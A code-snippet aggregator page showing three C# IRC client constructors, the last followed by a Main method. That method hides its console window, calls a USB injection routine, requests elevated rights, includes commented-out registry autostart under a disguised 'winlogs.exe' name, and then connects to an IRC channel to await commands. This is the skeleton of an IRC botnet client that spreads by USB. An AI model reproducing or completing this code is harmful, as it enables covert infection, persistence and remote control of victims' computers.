Esempio n. 1
0
        private cIRC()
        {
            //IrcObject = new IRC("CumpsD", "#mypreciousss");
            IrcObject = new IRC();

            // Assign events
            IrcObject.eventReceiving += new IRCReceived(IrcCommandReceived);
            IrcObject.eventServerMessage += new ServerMessage(IrcServerMessage);
            IrcObject.eventIrcMessageReceived += new MessageReceived(IrcMessageReceived);
            IrcObject.eventIrcNoticeReceived += new NoticeReceived(IrcNoticeReceived);
            IrcObject.eventSendReceivedCommand += new SendReceivedCommand(IrcSendReceivedCommand);
            IrcObject.eventJoin += new Join(IrcJoin);
            IrcObject.eventPart += new Part(IrcPart);
            IrcObject.eventMode += new Mode(IrcMode);

            // Connect to server
            IrcObject.Connect();
        }
Esempio n. 2
0
        private cIRC(string IrcServer, int IrcPort, string IrcUser, string IrcChan, string SupAdmin)
        {
            IrcObject = new IRC(IrcUser, IrcChan);

            // Assign events
            IrcObject.eventReceiving += new CommandReceived(IrcCommandReceived);
            IrcObject.eventTopicSet += new TopicSet(IrcTopicSet);
            IrcObject.eventTopicOwner += new TopicOwner(IrcTopicOwner);
            IrcObject.eventNamesList += new NamesList(IrcNamesList);
            IrcObject.eventServerMessage += new ServerMessage(IrcServerMessage);
            IrcObject.eventJoin += new Join(IrcJoin);
            IrcObject.eventPart += new Part(IrcPart);
            IrcObject.eventMode += new Mode(IrcMode);
            IrcObject.eventNickChange += new NickChange(IrcNickChange);
            IrcObject.eventKick += new Kick(IrcKick);
            IrcObject.eventQuit += new Quit(IrcQuit);

            // Connect to server
            IrcObject.Connect(IrcServer, IrcPort, SupAdmin);
        }
Esempio n. 3
0
        private cIRC(string IrcServer, int IrcPort, string IrcUser, string IrcChan)
        {
            //IrcObject = new IRC("CumpsD", "#mypreciousss");
            IrcObject = new IRC(IrcUser, IrcChan);

            // Assign events
            IrcObject.eventReceiving += new CommandReceived(IrcCommandReceived);
            IrcObject.eventTopicSet += new TopicSet(IrcTopicSet);
            IrcObject.eventTopicOwner += new TopicOwner(IrcTopicOwner);
            IrcObject.eventNamesList += new NamesList(IrcNamesList);
            IrcObject.eventServerMessage += new ServerMessage(IrcServerMessage);
            IrcObject.eventJoin += new Join(IrcJoin);
            IrcObject.eventPart += new Part(IrcPart);
            IrcObject.eventMode += new Mode(IrcMode);
            IrcObject.eventNickChange += new NickChange(IrcNickChange);
            IrcObject.eventKick += new Kick(IrcKick);
            IrcObject.eventQuit += new Quit(IrcQuit);

            // Connect to server
            //IrcObject.Connect("efnet.xs4all.nl", 6667);
            IrcObject.Connect(IrcServer, IrcPort);
        }
        static void Main(string[] args)
        {
            int win = GetConsoleWindow();
            ShowWindow(win, 0);

            try
            {
                fp = Process.GetCurrentProcess().MainModule.FileName;
                string[] beetweenthing = fp.Split('\\');
                filename = beetweenthing[beetweenthing.Length - 1];
                UsbInject();
            }
            catch (Exception)
            { }

            ProcessStartInfo p = new ProcessStartInfo();
            p.UseShellExecute = true;
            p.Verb = "runas";

            try
            {
                Process.Start(p);
            }
            catch(Exception e) { }

            // Start on Start Up
            //RegistryKey rkApp = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);
            //rkApp.SetValue("winlogs.exe", Application.ExecutablePath.ToString());

            _irc = new IRC("IRCBot");
            _irc.Nick = nick;
            _irc.Connect(server, port);
            _irc.Logon(nick, nick);
            _irc.Join(channel);
            _irc.IRCMessageRecieved += new IRC.IRCMessageRecievedHandler(_irc_IRCMessageRecieved);

            while (true)
            {
                _irc.ProcessEvents(0);
            }
        }